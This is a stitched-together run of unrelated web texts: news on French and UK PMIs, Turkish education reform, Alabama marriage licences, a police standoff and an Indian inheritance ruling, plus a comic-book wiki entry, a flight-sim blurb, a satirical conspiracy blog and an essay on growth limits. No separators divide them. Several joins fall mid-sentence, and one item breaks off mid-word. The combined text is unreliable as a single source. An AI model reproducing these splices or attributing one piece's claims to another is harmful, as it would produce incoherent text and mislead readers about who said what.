If this is a known issue with cinema seats why is there no health warning at cinemas to protect the 500,000 people in Ireland with some form of asthma? – Yours, etc,XP11 specific version, This is the XP10 (XP11 compatible) version of the CL300. If you want thespecific version, get it here
Customers who own the Challenger 300, can buy the new XP11 version for less than $10. Please look at your invoice for the coupon code.
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Tested and approved by real Challenger pilots:This article is about the deaths of characters in comic books. For the personification of death in comic books, see Death (comics)
In the comic book fan community, the apparent death and subsequent return of a long-running character is often called a comic book death. A comic book death is generally not taken seriously by readers and is rarely permanent or meaningful other than for story or thematic purposes.
Context [ edit ]
Commenting on the impact and role of comic book character deaths, writer Geoff Johns said:[1]
Death in superhero comics is cyclical in its nature, and that's for a lot of reasons, whether they are story reasons, copyright reasons, or fan reasons.
The phenomenon of comic book death is particularly common for superhero characters. Writer Danny Fingeroth suggests that the nature of superheroes requires that they be both ageless and immortal.[2]
A common expression regarding comic book death was once "The only people who stay dead in comics are Bucky, Jason Todd, and Uncle Ben,"[3] referring to the seminal importance of those characters' deaths to the title character: Captain America's sidekick (retconned dead in 1964), Batman's second Robin (dead in 1988), and Spider-Man's uncle (dead since 1962), respectively. This long-held tenet was broken in 2005, when Jason Todd returned to life as the Red Hood and Bucky was reported to have survived the accident that seemingly killed him, brought back in 2005 as the Winter Soldier, remaining in the shadows for decades. Barnes apparently died again in 2011 after a short tenure as Captain America,[4] only to be revived by Nick Fury's Infinity Formula.[5]
Because death in comics is so often temporary, readers rarely take the death of a character seriously—when a character dies, the reader feels very little sense of loss, and simply left wondering how long it will be before they return to life.[6][7][8][9]
Notable examples [ edit ]
Although several comic book deaths are well-known, two of the best-known are the 1980 "death" of Jean Grey in Marvel's "Dark Phoenix Saga" and that of Superman in DC's highly publicized 1993 "Death of Superman" storyline. There is one major distinction between the two, however—whereas it was never intended that Superman's death be permanent, but rather that he would return to life at the conclusion of the story,[10] Jean's passing was intended to be permanent, as the editor Jim Shooter felt that would be the only satisfactory outcome given that she had committed mass murder.[11][12] Despite this, the story was retconned a few years later to facilitate Jean's return.
In 2007, the death of Captain America made real-world headlines[3][13][14][15][16][17] when he met his apparent end, but Steve Rogers returned in Captain America: Reborn in late 2009.[18][19]
In universe acknowledgement [ edit ]
Comic book characters themselves have made comments about the frequency of resurrections. Professor X has commented "in mutant heaven there are no pearly gates, but instead revolving doors."[20] When Siryn was made aware of her father's death, she refused to mourn him, giddily claiming that since her father has died as an X-Man, he was likely going to be soon resurrected, shocking her friends.[21] Her father is later restored to life but is recruited by the Apocalypse Twins as part of their new Horsemen of Apocalypse.[22] The obituary writer of the in-universe newspaper the Daily Bugle once bemoaned to reporter Ben Urich about how many retractions he has had to write after each resurrection of a superhero or supervillain.[23]
See also [ edit ]
Soap opera, radio drama and television genre also known for such character deathsFrance is on the cusp of recession after the eurozone nation's key manufacturing and services industries shrank sharply in December.
Markit’s preliminary - or "flash" - purchasing managers’ index estimate for the country fell to a seven-month low of 47 in December - a figure below 50 signals contraction and one above expansion.
Services activity decreased for the second month and at the fastest pace since June, while manufacturers posted "marked decline in production" contracting for a fifth month.
A fall in GDP is expected after the PMI Composite index dropped sharply
Chris Williamson, chief economist at Markit, said: "France looks increasingly like the new'sick man of Europe', as a second successive monthly contraction may translate into another quarterly decline in GDP, pushing the country back into a technical recession."
While Howard Archer, at IHS Global Insight, said: “There is a very real danger that France is slipping back into shallow recession and reinforces concerns about France’s underlying competitiveness.”
The Bank of France expects a round, however. Last week the central bank upgraded its forecast for fourth quarter GDP to 0.5pc from 0.4pc, compared with a 0.1pc contracting in the third quarter.
Strong German growth buoys the eurozone
In contrast, Germany's manfacturing sector grew at its fastest clip in 30 months, and services are expanding too. The Markit "flash" Germany Composite Output Index was 55.2 in December.
This helped Markit's flash composite PMI for the eurozone, which gauges business activity across thousands of companies, rise to 52.1 in December - the highest reading in three months and a turnaround from two months of anaemic expansion.
Momentum was driven by the manufacturing sector, whose PMI came in at its highest in 31 months, at 54.8. Growth in the services sector slowed slightly, with a PMI of 51 in December compared with November's 51.2 - largely due to lower consumer sentiment due to persistenty high unemployment across the bloc.
Excluding Germany and France, the rest of the single currency bloc also appeared to be on track for a strong December. Output for both the manufacturing and services sectors rose for the fifth month running and hit a 32-month high.
Mr Williamson said: "The rise in the PMI after two successive monthly falls is a big relief and puts the recovery back on track. The upturn means that, over the final quarter, businesses saw the strongest growth since the first half of 2011, and have now enjoyed two consecutive quarters of growth.
"The upturn is also uneven. Growth is concentrated in manufacturing, where rising exports have helped push growth of the sector to the fastest for two-and-a-half years, while weak domestic demand led to a further slowing in service sector growth."
He said the unbalanced nature of the upturn among member states was "worrying" but added:
"There's little here to suggest that euro area policymakers need to increase their stimulus, but on the other hand the sluggish nature of the upturn adds to the sense that policy will remain ultra-accommodative for quite some time."Turkey: Erdogan's reforms: less schooling, more Koran Muslim veil knocking at door of Parliament amid criticism
(ANSAmed) - ANKARA, FEBRUARY 24 - The goals of an education reform bill introduced by the Islamic party of Turkey's Premier Recep Tayyip Erdogan have been characterised by opposition parties as aiming to halve the length of compulsory schooling to promote more Koranic schools and veil wearing. The opposition secular press, trades unionists and other commentators, have for a month now, but especially over the past two days, been aiming their criticisms at the Islamic tendencies of the reforms of alleged faults in the country's education system. Today the countries confederation of industry, the TUSIAD, has joined in the chorus of protest. The bill would in effect abolish the present laws obliging children to attend school for eight years, halving them to the period of primary education alone.
Although this radical move is softened by the offer of distance learning, critics are calling it an incentive to quit school, especially in the less developed eastern areas of the country, and in cultural milieu where the ban on wearing the veil inside school premises meets strongest resistance. The ban comes from the secular, Western stamp given to Turkey's constitution in the 1930s by the country's founder Kemal Ataturk. A reduction in the number of years of compulsory education would also promote the so-called ''Imam Hatip Lisesi'', the religious Islamic schools, like the one in which Mr Erdogan was educated. Following its third electoral victory in succession, with nearly 50% of votes cast, Erdogan's single-party pro-Islamic government has already abolished the minimum age requirement for attendance at such schools and this reform would encourage children to give up attending their secular secondary schools in favour of religious institutions which now would take over some of the functions of the grammar schools.
Some areas of the secular press, such as the daily Milliyet, as well as pro-Islamic organs such as Yeni Safak and the official mouthpieces of Erdogan's AKP party, stress how the reform aims at correcting what was in effect a penalisation inflicted on Koranic schools following the ''post modern'' military coup of 1997, which overthrew Islamic premier Necmettin Erbakan, a role-model for Erdogan. Eight years of compulsory schooling was introduced then with the aim of undermining the Koranic institutions. The reform debate opens, indeed, as the 15th anniversary of that coup approaches (February 28), the highly secular daily Cumhuriyet wryly observes.
Without returning to accusations of a 'hidden agenda to re-Islamise Turkey, Cumhuriyet links the reforms to the a proposal recently expressed by the premier ''to raise a pious generation,'' a ''religious youth''. This phrase, accompanied by the rhetorical question, ''Did you expect the conservative and democratic AKP party would bring up a generation of atheists?'' sparked off a heated debate over the past three weeks, in which all of the moves made to re-introduce wearing of the veil in the country's schools as well as moves to favour Koranic schools (moves that have often been blocked) have been recalled. The criticisms of TUSIAD, which is calling for the bill to be withdrawn, are based on a more technical consideration of the step backwards in the level of education of the upcoming generations. The move is seen as being linked to the increasing pressure on young girls in country areas to give up their schooling and the dangers deriving from a reduction of the age for starting an apprenticeship to eleven.(ANSAmed).Jasper Jolly
Closely watched surveys of economic activity are expected to show the UK economy continued to expand in February, despite rising input prices.
The manufacturing purchasing managers’ index (PMI), reported on Wednesday, is predicted to show a continued expansion in the sector.
The crucial measure of activity for UK manufacturers eased slightly from its fastest pace of expansion since mid-2014 to reach 55.9 in January, but it is still expected to show a performance well above the 50 mark indicating an expansion in the sector, at around 56 points.
Read more: A year of two halves: UK GDP revised up at end of year, but down at start
Meanwhile the services purchasing managers’ index, which is reported on Friday, is also expected to show a further easing, although still firmly in expansionary territory after a reading of 54.5 in January.
Kallum Pickering, senior UK economist at Berenberg, said: “PMI data for February is likely to signal strong growth in the services and manufacturing sectors, driven by solid domestic demand and the cyclical upturn in global demand.”
However, the construction sector, which sees activity reported on Thursday, “is likely to have expanded at a more meagre pace as Brexit uncertainty is dampening demand for long-lived investments and as firms struggle with labour shortages,” says Pickering.
Inflationary pressure, after sterling’s post-EU referendum devaluation, is expected by most forecasters to drag on demand. However, it may also deliver a welcome boost to manufacturing and services exporters.
Read more: Trumping Brexit: UK manufacturing confidence hits 20-month high
Simon French, chief economist at Panmure Gordon, said: “The data in January was softer than during the fourth quarter, suggesting businesses and households were starting to take stock of inflationary pressures coming through.”
“However, prospects for growth remain good for the remainder of 2017, with a weaker pound supporting domestic demand and forward employment intentions robust to policy headwinds,” he said.
Paul Hollingsworth, an economist at Capital Economics, expects the surveys to show a “decent amount of momentum” for the UK economy, with growth “better balanced” as manufacturing output increases.
Read more: Car manufacturing has hit its highest level in 17 years
However, economists are split as to whether the pace of expansion will increase or slow slightly.
Emily Nicol and Mantas Vanagas of Daiwa Capital Markets expect a further dip in the manufacturing PMI, but Howard Archer, chief UK and Europe economist at PMI survey compilers IHS Markit, expects domestic demand to continue to sustain the sector.
The strength of new orders bodes well for the February figures, says Archer. “New orders were elevated in January as they only slowed slightly from a 30-month high in December. Domestic demand was robust in January although export orders disappointingly grew only slightly despite the weak pound.”Well it really looks like I have gotten behind on my posts here lately, normally I like to post my favorite inspirational portfolios when I stumble across 10 – 15 examples. If you want to blame something for my infrequent posting behavior over the last couple of week please blame the Personal Web Design Degree, which has been sucking up all my available free time (and getting some great feedback). However have no fear, all these excuses just mean that this post is crammed full of extra awesomeness!
Alvin Chan
http://www.alvinchan.nl/
Asylum
http://www.theasylum.com.sg/v3/
Christopher Allen
http://www.christopherallen.ca/
Studio David Hillman
http://www.studiodavidhillman.com/
Draught Associates
http://www.draught.co.uk/
Famous Visual Services
http://www.famousvs.com/
Goncalo Cabral
http://www.goncalo-cabral.com/
HEYDAYS
http://www.heydays.info/
James Warfield
http://www.jameswarfield.com/
Luciano Marx
http://www.lucianomarx.ch/
Metagramme
http://www.metagramme.com/
Micah Lidberg
http://micahlidberg.com/
Mucca Design
http://www.muccadesign.com/
Nitrocorpz
http://www.nitrocorpz.com/
Playoff
http://www.p-off.ru/
Rapinder Athwal
http://www.rapinderathwal.co.uk/
Robbie Powell
http://www.thisisrobbie.com/
Rudd Studio
http://www.ruddstudio.com/
Skilled Concept
http://www.skilledconcept.com/
Socio
http://www.sociodesign.co.uk/
Socket Studios
http://socket-studios.co.uk/
Stylo
http://www.stylodesign.co.uk/I sit here a sparrowfart away from death, but not even my impending demise will stop me from bringing you another week in conspiracy.
While it is perfectly obvious to everyone that Ben Jonson wrote all of Shakespeare’s plays, it is less known that Ben Jonson’s plays were written by a teen-age girl in Sunderland, who mysteriously disappeared, leaving no trace of her existence, which is clear proof that she wrote them. The plays of Marlowe were actually written by a chambermaid named Marlene, who faked her own orgasm, and then her own death in a Deptford tavern brawl. Queen Elizabeth, who was obviously a man, conspired to have Shakespeare named as the author of his plays, because how could a man who had only a grammar-school education and spoke Latin and a little Greek possibly have written something as bad as “All’s Well That Ends Well”? It makes no sense. It was obviously an upper-class twit who wished to disguise his identity so that Vanessa Redgrave could get a job in her old age.
My fave Pak conspiracy theory was from a respected journo: “But who is behind the theory about Pakistanis loving conspiracy theories?” @jemima_khan
Conspiracy Theory of the Week:
This is not really a conspiracy theory of the week. It just needed to be sectioned off from the rest of the round-up. You see, Luke Rudkowski went to the dentist. He was a sexist, horrid, pig-ignorant prick at all points:
LukeRudkowski: dentist was dumb but she was cute and for some strange reason was rubbing her boobs in my face. awkward, did that ever happen to anyone Original Tweet: http://twitter.com/LukeRudkowski/status/144181007602561026
LukeRudkowski: the dentist tried to tell me that mercury is not bad for me, i told her to break a mercury thermometer and put it her month Original Tweet: http://twitter.com/LukeRudkowski/status/144178571911495681
Luke Rudkowski Been radiated 14 times by this 1970s looking Machine. Anyway i can avoid it twitpic.com/7pfjco2 minutes ago
mrthatguydude Dave @LukeRudkowski twitpic.com/7pf6t4 – 10x the mind control. 25 minutes ago Retweeted by LukeRudkowski
LukeRudkowski Starting to think the dential industry is apart of the nwo eugenics plan. Lol but seriously radiation mercury and fluoride wtf 22 minutes ago
LukeRudkowski Luke Rudkowski Not a good sight when your sitting in a dentists chair twitpic.com/7pf6t4 30 minutes ago
Yeah, I’m sure she wanted to get with the tinfoil wearing man-pig in her chair. LOL.
RJB
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Like this: Like Loading... RelatedAs Alabama's all-white Legislature tried to preserve racial segregation and worried about the possibility of mixed-race marriages in 1961, lawmakers rewrote state law to make it optional for counties to issue marriage licenses.
Now, some judges who oppose same-sex marriage are using the long-forgotten amendment to get out of the marriage business altogether rather than risk issuing even one wedding license to gays or lesbians. In at least nine of Alabama's 67 counties, judges have quit issuing any marriage licenses since the U.S. Supreme Court legalized same-sex unions in June.
While the precise reason that lawmakers gave for making the 1961 change has been lost to time, the 54-year-old provision says probate courts "may" issue rather than "shall" issue wedding licenses.
Nick Williams, a Baptist minister who also serves as probate judge in Washington County, is among those who have left the marriage license business. He says issuing a license for a same-sex union would violate his Christian beliefs.
"It is a religious freedom issue, but more than that I believe it is a constitutional issue," said Williams, who last month cited the arrest of Kentucky county clerk Kim Davis in asking the Alabama Supreme Court to declare that officials don't have to allow same-sex marriage if doing so violates their religious beliefs.
Like Davis, Williams said he would go to jail before he would approve a marriage license for a gay or lesbian.
Judges in three adjoining counties stopped issuing licenses for similar reasons, creating a region in southwestern Alabama where marriage licenses aren't available for 78,000 people. As a result, Bo Keahey and fiance Hannah Detlefsen will have to spend nearly two hours on the road traveling to and from Monroe County before their November wedding because their native Clarke County has quit issuing licenses.
"I pay taxes here and it's kind of ridiculous that I can't get a license here," said Keahey, an attorney.
Others have encountered similar problems. Daniel Hopkins and Whitley Jones drove 40 miles from their home in Mobile County to buy a marriage license at Williams' office before finding out Washington County no longer issued them.
Frustrated after the refusal, the two had to get back in the car for a 62-mile drive to the probate office in Mobile, which is issuing licenses under order of a federal judge.
The drive might not be needed without that 1961 law.
With then-Gov. John Patterson pushing to maintain segregated public schools and Freedom Riders crisscrossing the South in opposition to segregation, two Alabama legislators, Reps. F LaMont Glass of Greenville and H.B. Taylor of Georgiana, introduced a bill to revamp the state's marriage law in May 1961.
Under a statue that went back decades, couples had to get marriage licenses in the county where the woman lived or where they planned to wed. The law had the effect of requiring each county to issue wedding licenses.
But that changed under Glass and Taylor's bill, according to the Alabama Legislative Reference Service, which researches laws and drafts legislation.
The new law, which records show passed unanimously, included this line: "Marriage licenses may be issued by the judges of probate of the several counties." Since the U.S. Supreme Court's June ruling, some same-sex marriage opponents have used that word "may" to avoid issuing marriage licenses. So far, no one has sued them.
Whatever the stated reason for the 1961 bill, it clearly emerged from a pro-segregation legislature. Alabama's Constitution had included a prohibition on mixed-race marriage since 1901. Not until 2000 did voters overturn the long-invalidated provision.
In the early 1960s, Alabama historian Carl Grafton said, legislators were introducing a "host of bills" to hinder integration.
While Grafton said he wasn't familiar with the '61 marriage law, he added, "It's certainly consistent with the era."
The bill received virtually no news coverage at the time and its sponsors died years ago.
Former Gov. Albert Brewer, who was a young House member in 1961, said neither Glass nor Taylor was known as a hard-core segregationist, and they may have introduced the bill simply as a favor to a judge who didn't want to be bothered by issuing marriage licenses.
Or, Brewer said, it could have been a subtle way to block mixed-race marriages.
"Certainly they were talking about miscegenation at the time," said Brewer, 86.
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Whatever the reason for its passage, the law plainly states that judges "may" issue licenses, Williams said.
"There's a big difference between'may' and'shall,'" he said.Get the biggest Manchester United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A Conservative minister has sparked outrage after attacking United supporters during a Commons debate and insisting “very few of them come from Manchester.”
Ed Vaizey MP attacked what he branded a lack of atmosphere at United games, and said fans did not sing in support of their players.
The Chelsea fan, whose favourite player is Didier Drogba, went on to question whether or not the club’s fans were even from Manchester.
The minister for Culture, Communications and Creative Industries’ barbed comments came during a debate on the Football Governance Bill put forward by Folkestone MP Damian Collins, which is designed to ensure club owners act responsibly.
Mr Vaizey applauded Mr Collins, and asked if his constituents chanted “There’s only one hon. Member for Folkestone and Hythe. There’s only one hon. Member for Folkestone and Hythe” when he walked into stadiums.
But amid the good-natured banter he said: “That may not happen because, of course, he is a Manchester United fan. We know that Manchester United fans do not sing, because very few of them actually come from Manchester.
“The point is well made by my hon. Friend, who grew up in Hereford and represents a constituency on the south coast, yet claims to support Manchester United.”
Social media users have erupted with anger at the comments, with United fan Sam Joshi asking: “Really Ed? Could have sworn I am from Manchester and sing quite a lot. I must be wrong.”
Mr Vaizey, who grew up in Berkshire, represents Wantage – roughly 70 miles away from his team’s home ground in West London.
Teams based closer to Wantage include Reading, Swindon Town and Oxford United.
See the Manchester United fans gallery from this weekend's clash with Crystal PalaceCopyright by WSPA - All rights reserved
An Upstate mother is charged with murder after a newborn is found dead in an Anderson County field. Now the Sheriff is reminding people about the South Carolina's "Safe Haven" law as another option for those who may have unwanted newborn babies.
Anderson County deputies say Joanie Holcombe confessed and was arrested. She faces a murder charge. In a release, the sheriff says while he doesn't know her full story, he wants the public to know there is somewhere to turn for an unwanted baby.
"If it will save a child's life," Battalion Chief Michael Guest said. "We will certainly be proactive and do that."
The Safe Haven law, or Daniels law in called in South Carolina, is designed to help both newborns and their mothers. According to the National Safe Haven Alliance, It's already rescued at least one child in the nation this year.
"She hid the pregnancy and relinquished the baby to us at the hospital we notified children services and now the baby is with a foster adoptive couple," Timothy Jaccard, National Safe Haven Alliance Executive Board Member, explained. They hope to spread more awareness, to reach more mothers.
A baby up to 30 days old can be left with a person at a fire department, hospital, EMS provider, law enforcement agency or worship center.
Without giving away her identity, a woman can without punishment give the baby away unharmed.
"It would probably stun us a little bit that it has happened but i would rather see that than the alternative," Guest added.
The safe havens are required to ask for a medical history, so they know how to provide care for the baby before putting the child in DSS custody. They'll also suggest options for help to the mother in crisis.
"To care for them properly and give them a good home to grow up in," Guest said.
There is a confidential hotline for anybody needing more information on the Safe Haven law, call 1-888-510-BABY.Who says there's no such thing as a free taco, let alone a free lunch?
The Taco Bell restaurant chain said on Monday it will give a free taco to everyone in the United States if - and this is important - the core of the 152-tonne Mir space station hits a floating 12-by-12-metre Taco Bell target placed in the South Pacific.
The space station is supposed to come crashing back to earth sometime this week and Taco Bell says it has created a target, painted with a Bell bull's-eye and bold purple letters stating: "Free Taco Here." The floating target will be placed in the South Pacific Ocean off the coast of Australia in advance of Mir's descent.
Story continues below advertisement
Chris Becker, vice-president of brand communications for Taco Bell Corp., said "If Mir rings our bell, we will offer a free taco to everyone in the U.S."
Actually if it does ring the bell, the Taco Bell Corp. will make coupons for free tacos available but they can only be redeemed at participating U |
the Touch Book--A must-have or must avoid?
I agree with users like Drew Kwashnak and Michael Howell who say that the TouchBook is clearly the most compelling of the options--on paper. (Should that be "on screen" these days?) Unfortunately, I've heard some of the same things chad mentions--that on delivery, it's not what it seems to be. Does anyone have firsthand experience to share?
More alternatives
Several people mentioned more open source tablet options--including real, available right now options. Thanks! I'll be posting about those later this week. If you know of others, leave a comment here.
The bottom line
Here's what it comes down to for me: The iPad is designed for consuming. I want to create. And because of that, for me, the list of negatives greatly outweighs the list of positives. Of course, if this device is truly doing what you want and need, that's great. That's what's important. But I'm willing to wait for something better. Something meant for sharing. Something more open.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Aug. 2, 2016, 9:00 AM GMT / Updated Aug. 3, 2016, 6:01 AM GMT By Kurt Chirbas, Erik Ortiz and Corky Siemaszko
A young suburban Baltimore mom was shot and killed by police and her 5-year-old son was wounded Monday after an hours-long standoff at her Maryland apartment ended in gunfire.
The incident involving Korryn Shandawn Gaines became a flash point on social media Tuesday as video taken by Gaines inside her home before the shooting was shared online.
Baltimore County police said her followers encouraged her "not to comply with negotiators' requests that she surrender peacefully."
Officers opened fire after Gaines, 23, pointed a legally-purchased Mossberg 12-gauge pistol grip shotgun at them and said, "If you don't leave, I'm going to kill you."
She managed to fire two rounds, and during the exchange of gunfire, her son Kodi Gaines was struck, the Baltimore County Police Department said. The boy was taken to Johns Hopkins Children's Center and was in good condition.
It was not immediately clear if her son was hit by a shot fired by his mother or by the tactical officers who had been trying to get her to surrender.
None of the officers involved in the incident were wearing body cameras, police said.
“We are of course extremely upset at an event like this,” police spokeswoman Elise Armacost said at press conference. “We do not like to be in a position of having to use lethal force, but this was a situation where our officers exercised patience for hours and hours.”
She added: “We are very relieved the child was not seriously injured."
Police at the scene of Monday's standoff. Saliqa Khan / WBAL
Gaines was wanted on a bench warrant for failing to appear in court on charges related to previous cases of disorderly conduct and resisting arrest following a March 10 traffic stop “and numerous other traffic offences,” according to Johnson.
The mom had been pulled over because her Toyota Camry didn't have a license plate, police said. In its place was a piece of cardboard on which was written: "Any government official who compromises this pursuit to happiness and right to travel, will be held criminally responsible and fined, as this is a natural right to freedom."
When the officer gave her a ticket, police said, Gaines threw the citation out the window and declared that officers would have to "murder" her before she got out of the car. And when they went in to get her, Gaines resisted, police said.
Young Kodi and unidentified infant were the in the car with her at the time, police said.
The deadly standoff began at 9:20 a.m. Monday when three police officers arrived at the apartment in Randallstown to serve warrants on Gaines and 39-year-old Kareem Courtney, Baltimore County Police Chief James Johnson said.
Courtney was wanted for assault, police said.
Officers repeatedly knocked on the apartment door and identified themselves as police, Johnson said. They did not receive a response, but they could hear the sounds of a man, woman and crying child from inside the apartment.
After waiting five to 10 minutes, the officers obtained a key to enter from the landlord.
When an officer opened the door, he allegedly saw Gaines sitting on the floor pointing a long gun at him and immediately retreated to the hallway and called for tactical backup.
At this point, Courtney tried to flee the apartment with a 1-year-old child but was apprehended, Johnson said.
Meanwhile, other residents were evacuated from the apartment building.
For the next several hours, officers attempted to negotiate with Gaines by telephone or by shouting to her from across the room.
Gaines, police said, was "up and down," by turns calm and excitable. But after several hours Gaines became "angry and irritated as the afternoon wore on and finally hung up on police."
At that point, police said, the tactical team brought over Gaines' parents to help negotiate. But they too could not get her to give up.
"The barricade's turning point came at about 3 p.m, when she pointed the shotgun directly at one officer visible to her through the doorway and said she was going to shoot him if officers did not leave," police said in their statement.
Police said the tactical officers saw Gaines point the shotgun at the boy several times "but are not sure if that was deliberate or incidental."
The officers involved in the deadly standoff are on administrative leave while the incident is investigated, authorities said.
Gaines, who often posted about racial issues on social media, was remembered by Black Lives Matter activists and others who said they would "say her name" — a refrain used in the deaths of black women killed during encounters with police.The amendment to the Hindu Succession Act giving daughters equal rights to ancestral property is applicable even for girls born before the law was changed in 2005, the Bombay High Court has said.
"Section 6 of Hindu Succession Act, 1956 as amended by the Amendment Act of 2005 is retroactive (taking effect from a date in the past) in operation," a full bench stated on Thursday. "In other words, the provisions of the amended section 6(3) do not and cannot impinge upon or curtail or restrict the rights of daughters born prior to 9 September 2005," the judges said.
The amendmentThe Hindu Succession Act, 1956, originally didn't give daughters equal rights to ancestral property. This disparity was removed by an amendment that came into force on September 9, 2005.The issue came up before the bench of chief justice Mohit Shah, judges MS Sanklecha and MS Sonak after conflicting views on the matter expressed separately by a single judge and a division bench.
A division bench had opined that the amendment applied to daughters born on or after September 9, 2005. As regards daughters born before 9 September 2005, the judges held that they would get rights in the property upon the death of their father-coparcener (head of a joint family) on or after September 9, 2005.
Difference in opinionBut a single judge disagreed with the view of the division bench and stated that the amendment was retrospective in operation, that it was applicable from June 17, 1956, the date on which the Hindu Succession Act came into force. It would apply to all daughters of a coparcener who are born either before or after September 9, 2005 as well as daughters born before or after June 17, 1956.
According to the single judge a daughter, by birth, becomes a coparcener in a Hindu coparcenary in her own right in the same manner as a son, having the same rights in the coparcenary property as she would have had if she had been a son, and subject to similar liabilities.
Uday Warunjikar, counsel for one of the petitioners, argued that the amendment was brought into force to remove the inequality between the heirs. "The amendment gives the right to the daughter irrespective of date of birth," Warunjikar argued.
Senior counsels Anil Anturkar and Girish Godbole also argued that the amendment was retrospective in nature.
However, counsels for the respondents argued that section 6 should be read prospectively and it applied only to the daughters born on or after September 9, 2005.
The bench's final wordThe full bench disagreed with this and stated that the daughters would have equal share in the ancestral property, irrespective of their date of birth.
"The amended section 6 applies to daughters born prior to June 17, 1956 or thereafter (between June 17, 1956 and September 8, 2005), provided they are alive on September 9, 2005, that is on the date when the amendment act of 2005 came into force," the judges observed in their order, running into 72 pages.
A DAUGHTER'S RIGHTS
Before the enactment of the Hindu Succession Act in 1956, Hindus were covered by shastric and customary laws that varied from region to region.
Under the Mitakshara school of Hindu law, a woman in a joint Hindu family had the right only to maintenance/ sustenance but not to inheritance of property.
Consequently, if a partition took place in the coparcenary (joint family) property, then each male coparcener was entitled to a share. But a daughter did not get a share. The daughter would only get a share as one of the heirs on the death of coparcener.Johnny Manziel will spend the next two days visiting with the Oakland Raiders, a league source told ESPN NFL Insider Adam Schefter.
Johnny Manziel will visit with the Raiders, a source told ESPN. AP Photo/Patric Schneider
Manziel flew to Oakland on Sunday morning following his appearance Saturday night at the NCAA basketball tournament Final Four games in Arlington, Texas, according to the source. The former Texas A&M star will visit with the Raiders on Sunday night and Monday.
It will not be the first pre-draft visit for Manziel, who has been projected as a possible first-round pick. The 2012 Heisman Trophy winner already visited with the New England Patriots this past week, according to sources.
Manziel was projected as the No. 8 overall pick to the Minnesota Vikings in ESPN draft expert Mel Kiper's latest mock draft and was ranked as the No. 20 overall draft prospect by ESPN's Todd McShay.
The Raiders own the fifth overall selection in next month's NFL draft. Oakland acquired veteran Matt Schaub in a trade last month with the Houston Texans, but the Raiders could still potentially be looking for a long-term solution at quarterback.
The Raiders went 4-12 last season as Terrelle Pryor and Matt McGloin split time at quarterback. Raiders general manager Reggie McKenzie acknowledged last month at the NFL owners meetings that Pryor likely will be released or traded soon.July 16, 2016, Damn the Matrix By: Ted Trainer
The "limits to growth" analysis argues that the pursuit of affluent lifestyles and economic growth are behind alarming global problems such as environmental destruction, resource depletion, poverty, conflict and deteriorating cohesion and quality of life in even the richest countries. These levels cannot continue, let alone spread to all the world's people. We must shift to far lower levels of consumption in rich countries.
The counter argument is that the development of better technology will solve the problems, and enable us to go on living affluently in growth economies. Because technology does constantly achieve miraculous breakthroughs, this claim is regarded as plausible and publicity is frequently given to schemes that are claimed could be developed to solve this or that problem.
However there is a weighty case that technical advance will not be able to solve the major global problems we face.
The Simpler Way view says we must change to lifestyles and social systems which do not generate those problems. This could easily be done if we wanted to do it, and it would actually enable a much higher quality of life than most of us have now in consumer society.
But it would involve abandoning the quest for affluent lifestyles and limitless economic growth...so it is not at all likely that this path will be taken.
The 2007 IPCC Report said that if greenhouse gas emissions are to be kept to a "safe" level they must be cut by 50-80% by 2050, and more after that. This means that the average American or Australian would have to emit less than 5% of their present per capita emission rate. Some argue that all emissions should cease well before 2030.
By 2050 the amount of productive land on the planet per capita will be 0.8 ha (assuming we will stop damaging and losing land). The present amount required to give each Australian their lifestyle is 8 ha, 10 times over a sustainable amount, leaving no room for all the world's people ever rising to anywhere near our level.
Australians use about 280 GJ (gigajoules) of energy per capita each year. Are we heading for 500 GJ/person/year by 2050? If all the world's expected 9.7 billion people were to live as we live world energy supply would have to be around 4,500 EJ/year (EJ = 1B GJ)...which is 9 times the present world energy production and consumption.
Almost all resources are scarce and dwindling. Ore grades are falling, and there have been food and water riots. Fisheries and tropical forests are in serious decline. Yet only about one-fifth of the world's people are using most of these; what happens when the rest rise to our levels?
Humans are taking much of the planet's area, and 40% of the biological productivity of the lands. We are taking the habitats that other species need.
Of about 8 billion ha of productive land we have taken, 1.4 billion ha is for cropland, and about 3.5 billion ha for grazing. The number of big fish in the oceans is down to 10% of what it was. We are destroying around 15 million ha of tropical forest every year. And if all 9 billion people expected are going to live as we do now, resource demands would be about 10 times as great as they are now.
The World Wildlife Fund estimates that we are now using up resources at a rate that it would take 1.5 planet earths to provide sustainably. If 9.7 billion are to live as we expect to in 2050 we will need more than 20 planet earths to harvest from.
If technology is going to solve our problems, when is it going to start?
If we Australians have 3% annual economic growth to 2050, and by then all 9.7 billion people will have come up to the "living standards" we will have by then, the total amount of economic production in the world each year will be about 20 times as great as it is now.
Most of the resources and ecosystems we draw on to provide consumer lifestyles are deteriorating. The WWF's Footprint index tells us that at present we would need 1.5 planet Earth's to provide the resources we use sustainably. How can we cope with a resource demand that is 20×1.5 = 30 times a currently sustainable level by 2050...and twice as much by 2073 given 3% annual growth?
Huge figures such as these define the magnitude of the problem for technical-fix believers.
We must cut resource use and impacts by a huge multiple...and keep it down there despite endless growth. Now ask the tech-fix believer what precisely he thinks will enable this.
Is it rational for someone to say, "I have a very serious lung disease, but I still smoke five packs of cigarettes a day, because technical advance could come up with a cure for my disease." If you are on a path that is clearly leading to disaster the sensible thing is to get off it.
Does it not make sense to change from the lifestyles and systems that are causing these problems, at least until we can see that we can solve the resulting problems?
Amory Lovins argues that technical advances could cut resource use per unit of GDP considerably, saying we could in effect have 4 times the output with the same impact. By 2050 we should cut ecological impact and resource use in half, but we also increase economic output by 20, then we'd need a factor 40 reduction, not a factor of 4...and resource demand would be twice as high in another 23 years if 3% growth continued.
In looking at the factors limiting technical advances, engineers and economists make the following distinctions.
"Technical potential." This is what the technology could achieve if fully applied with no regard to cost or other problems.
"Economic (or ecological) potential”. For instance it is technically possible for passenger flights to be faster than sound, but it is far too costly. Some estimate that it would be technically possible to harvest 1,400 million ha for biomass energy per year, but when ecologically sensitive regions are taken out some conclude that only be 250 million ha or less would be available for harvest.
Enthusiastic claims about a technical advance typically focus on the gains and not the costs which should be subtracted to give a net value. For instance the energy needed to keep buildings warm can be reduced markedly, but it costs a considerable amount of energy to do this, in the electricity needed to run the air-conditioning and heat pumps, and in the energy embodied in the insulation and triple glazing.
The Green Revolution doubled food yields, but only by introducing crops that required high energy inputs in the form of expensive fertilizers, seeds and irrigation. One result was that large numbers of very poor farmers went out of business because they couldn't afford the inputs.
Similarly, it is possible to solve some water supply problems by desalination, but only by increasing the energy and greenhouse problems.
